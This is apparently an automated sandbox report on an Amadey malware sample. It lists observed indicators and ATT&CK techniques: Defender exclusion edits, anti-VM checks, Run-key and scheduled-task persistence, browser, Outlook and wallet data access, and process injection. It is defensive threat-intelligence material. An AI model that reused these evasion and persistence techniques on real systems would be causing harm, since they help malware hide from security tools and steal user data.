amadey | c8f3c74d30f1700a5c6a971318486e0ec9d67f29ce1ae32f3278bdfd21192cc8

Processes:

31839b57a4f11171d6abc8bbc4451ee4.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\31839b57a4f11171d6abc8bbc4451ee4.exe = "0"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	31839b57a4f11171d6abc8bbc4451ee4.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

T1497

Processes:

winlog.exewinlog.exewinlog.exentlhost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	winlog.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	winlog.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	winlog.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	ntlhost.exe

Blocklisted process makes network request 1 IoCs

Processes:

schtasks.exe

flow pid process

69 4704 schtasks.exe
Downloads MZ/PE file

flow	pid	process
69	4704	schtasks.exe

Drops file in Drivers directory 4 IoCs

Processes:

msedge.exemsedge.exemsedge.exeupdater.exe

description	ioc	process
File created	C:\Windows\System32\drivers\etc\hosts	msedge.exe
File created	C:\Windows\System32\drivers\etc\hosts	msedge.exe
File created	C:\Windows\System32\drivers\etc\hosts	msedge.exe
File created	C:\Windows\System32\drivers\etc\hosts	updater.exe

Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Windows Service
T1543.003

Processes:

netsh.exe

pid process

4060 netsh.exe
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

pid	process
4060	netsh.exe

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

winlog.exewinlog.exentlhost.exewinlog.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	winlog.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	winlog.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	winlog.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	winlog.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ntlhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ntlhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	winlog.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	winlog.exe

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

Meduza.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-3540700546-2554825161-2349363825-1000\Control Panel\International\Geo\Nation Meduza.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3540700546-2554825161-2349363825-1000\Control Panel\International\Geo\Nation	Meduza.exe

Executes dropped EXE 41 IoCs

Processes:

legosa.exe10c7b9izmah9.exepf3bv0f2aw4mj.exeuseyyoou_crypted.execrypted158.exeMeduza.exerockas.exeoneetx.execacls.execmd.exess41.exeyiueea.execonhost.exewinlog.exemsedge.exetoolspub2.exetaskhost.exetaskhost.exewinlog.exemsedge.exe31839b57a4f11171d6abc8bbc4451ee4.exetaskhost.exewinlog.exemsedge.exeschtasks.exepowercfg.exepowercfg.exepowershell.exelegosa.exeoneetx.exeyiueea.exeupdater.exe31839b57a4f11171d6abc8bbc4451ee4.exentlhost.execsrss.exeinjector.exewindefender.exewindefender.exeifvttruifvttru

pid	process
4688	legosa.exe
2784	10c7b9izmah9.exe
4496	pf3bv0f2aw4mj.exe
4504	useyyoou_crypted.exe
3648	crypted158.exe
3968	Meduza.exe
4484	rockas.exe
2300	oneetx.exe
4220	cacls.exe
2812	cmd.exe
4748	ss41.exe
5028	yiueea.exe
4048	conhost.exe
3968	Meduza.exe
4944	winlog.exe
4408	msedge.exe
4460	toolspub2.exe
3924	taskhost.exe
4912	taskhost.exe
2616	winlog.exe
2236	msedge.exe
3200	31839b57a4f11171d6abc8bbc4451ee4.exe
5112	taskhost.exe
3988	winlog.exe
2780	msedge.exe
4704	schtasks.exe
5080	powercfg.exe
2896	powercfg.exe
4892	powershell.exe
6020	legosa.exe
5272	oneetx.exe
5260	yiueea.exe
6004	updater.exe
1708	31839b57a4f11171d6abc8bbc4451ee4.exe
1524	ntlhost.exe
4124	csrss.exe
5296	injector.exe
4196	windefender.exe
4560	windefender.exe
5032	ifvttru
5400	ifvttru

Loads dropped DLL 4 IoCs

Processes:

rundll32.exerundll32.exerundll32.exerundll32.exe

pid process

2920 rundll32.exe
5640 rundll32.exe
5684 rundll32.exe
5720 rundll32.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

pid	process
2920	rundll32.exe
5640	rundll32.exe
5684	rundll32.exe
5720	rundll32.exe

Windows security modification 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

Processes:

31839b57a4f11171d6abc8bbc4451ee4.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\31839b57a4f11171d6abc8bbc4451ee4.exe = "0"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	31839b57a4f11171d6abc8bbc4451ee4.exe

Accesses Microsoft Outlook profiles 1 TTPs 5 IoCs

collection

Email Collection

T1114

Processes:

Meduza.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3540700546-2554825161-2349363825-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Meduza.exe
Key opened	\REGISTRY\USER\S-1-5-21-3540700546-2554825161-2349363825-1000\SOFTWARE\Microsoft\Office\12.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Meduza.exe
Key opened	\REGISTRY\USER\S-1-5-21-3540700546-2554825161-2349363825-1000\SOFTWARE\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Meduza.exe
Key opened	\REGISTRY\USER\S-1-5-21-3540700546-2554825161-2349363825-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Meduza.exe
Key opened	\REGISTRY\USER\S-1-5-21-3540700546-2554825161-2349363825-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Meduza.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

Processes:

winlog.exe31839b57a4f11171d6abc8bbc4451ee4.execsrss.exewinlog.exewinlog.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3540700546-2554825161-2349363825-1000\Software\Microsoft\Windows\CurrentVersion\Run\NTSystem = "C:\\Users\\Admin\\AppData\\Roaming\\NTSystem\\ntlhost.exe"	winlog.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3540700546-2554825161-2349363825-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3540700546-2554825161-2349363825-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	csrss.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3540700546-2554825161-2349363825-1000\Software\Microsoft\Windows\CurrentVersion\Run\NTSystem = "C:\\Users\\Admin\\AppData\\Roaming\\NTSystem\\ntlhost.exe"	winlog.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3540700546-2554825161-2349363825-1000\Software\Microsoft\Windows\CurrentVersion\Run\NTSystem = "C:\\Users\\Admin\\AppData\\Roaming\\NTSystem\\ntlhost.exe"	winlog.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 4 IoCs

evasion trojan

System Information Discovery

Processes:

winlog.exewinlog.exewinlog.exentlhost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	winlog.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	winlog.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	winlog.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	ntlhost.exe

Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

46 api.ipify.org
47 api.ipify.org
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
rootkit evasion

Processes:

csrss.exe

description ioc process

File opened for modification \??\WinMonFS csrss.exe

flow	ioc
46	api.ipify.org
47	api.ipify.org

description	ioc	process
File opened for modification	\??\WinMonFS	csrss.exe

Drops file in System32 directory 10 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

Processes:

winlog.exewinlog.exewinlog.exentlhost.exe

pid process

4944 winlog.exe
2616 winlog.exe
3988 winlog.exe
1524 ntlhost.exe

pid	process
4944	winlog.exe
2616	winlog.exe
3988	winlog.exe
1524	ntlhost.exe

Suspicious use of SetThreadContext 11 IoCs

Processes:

10c7b9izmah9.exepf3bv0f2aw4mj.exeuseyyoou_crypted.execrypted158.execonhost.exetaskhost.exetaskhost.exetoolspub2.exeupdater.exeifvttru

description	pid	process	target process
PID 2784 set thread context of 5000	2784	10c7b9izmah9.exe	vbc.exe
PID 4496 set thread context of 2796	4496	pf3bv0f2aw4mj.exe	vbc.exe
PID 4504 set thread context of 4132	4504	useyyoou_crypted.exe	vbc.exe
PID 3648 set thread context of 4516	3648	crypted158.exe	AppLaunch.exe
PID 4048 set thread context of 4912	4048	conhost.exe	taskhost.exe
PID 3924 set thread context of 4704	3924	taskhost.exe	schtasks.exe
PID 5112 set thread context of 2896	5112	taskhost.exe	powercfg.exe
PID 4460 set thread context of 4892	4460	toolspub2.exe	powershell.exe
PID 6004 set thread context of 4048	6004	updater.exe	conhost.exe
PID 6004 set thread context of 2304	6004	updater.exe	explorer.exe
PID 5032 set thread context of 5400	5032	ifvttru	ifvttru

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery
T1082

Processes:

31839b57a4f11171d6abc8bbc4451ee4.exe

description ioc process

File opened (read-only) \??\VBoxMiniRdrDN 31839b57a4f11171d6abc8bbc4451ee4.exe

description	ioc	process
File opened (read-only)	\??\VBoxMiniRdrDN	31839b57a4f11171d6abc8bbc4451ee4.exe

Drops file in Program Files directory 4 IoCs

Processes:

msedge.exemsedge.exemsedge.exeupdater.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	msedge.exe
File created	C:\Program Files\Google\Chrome\updater.exe	msedge.exe
File created	C:\Program Files\Google\Chrome\updater.exe	msedge.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Drops file in Windows directory 4 IoCs

Processes:

31839b57a4f11171d6abc8bbc4451ee4.execsrss.exe

description	ioc	process
File opened for modification	C:\Windows\rss	31839b57a4f11171d6abc8bbc4451ee4.exe
File created	C:\Windows\rss\csrss.exe	31839b57a4f11171d6abc8bbc4451ee4.exe
File created	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\windefender.exe	csrss.exe

Launches sc.exe 21 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid	process
5416	sc.exe
5936	sc.exe
5728	sc.exe
5472	sc.exe
3880	sc.exe
748	sc.exe
3696	sc.exe
5416	sc.exe
5440	sc.exe
5980	sc.exe
1112	sc.exe
6068	sc.exe
5248	sc.exe
5236	sc.exe
3616	sc.exe
4220	sc.exe
5244	sc.exe
4140	sc.exe
4328	sc.exe
5496	sc.exe
3412	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 2 IoCs

Processes:

WerFault.exeWerFault.exe

pid pid_target process target process

664 3648 WerFault.exe crypted158.exe
5560 5684 WerFault.exe rundll32.exe

pid	pid_target	process	target process
664	3648	WerFault.exe	crypted158.exe
5560	5684	WerFault.exe	rundll32.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

powershell.exeifvttru

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	powershell.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	powershell.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ifvttru
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ifvttru
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ifvttru

Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

2144 schtasks.exe
1640 schtasks.exe
744 schtasks.exe
5344 schtasks.exe
4396 schtasks.exe
GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.

Processes:

description flow ioc

HTTP User-Agent header 115 Go-http-client/1.1

pid	process
2144	schtasks.exe
1640	schtasks.exe
744	schtasks.exe
5344	schtasks.exe
4396	schtasks.exe

description	flow	ioc
HTTP User-Agent header	115	Go-http-client/1.1

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exewindefender.exe31839b57a4f11171d6abc8bbc4451ee4.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-211 = "Pacific Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2531 = "Chatham Islands Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2001 = "Cabo Verde Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-1861 = "Russia TZ 6 Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-122 = "SA Pacific Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-631 = "Tokyo Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-334 = "Jordan Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-512 = "Central Asia Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-622 = "Korea Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-352 = "FLE Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-232 = "Hawaiian Standard Time"	windefender.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-662 = "Cen. Australia Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2002 = "Cabo Verde Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2452 = "Saint Pierre Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-392 = "Arab Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-335 = "Jordan Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-492 = "India Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-92 = "Pacific SA Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

vbc.exevbc.exevbc.exemsedge.exemsedge.exemsedge.exetaskhost.exetaskhost.exepowershell.exeschtasks.exeExplorer.EXEpowershell.exe

pid	process
5000	vbc.exe
2796	vbc.exe
4132	vbc.exe
2796	vbc.exe
2796	vbc.exe
5000	vbc.exe
5000	vbc.exe
4408	msedge.exe
4408	msedge.exe
2236	msedge.exe
2236	msedge.exe
4132	vbc.exe
4132	vbc.exe
5000	vbc.exe
2780	msedge.exe
2780	msedge.exe
4132	vbc.exe
4912	taskhost.exe
4912	taskhost.exe
4912	taskhost.exe
4912	taskhost.exe
5112	taskhost.exe
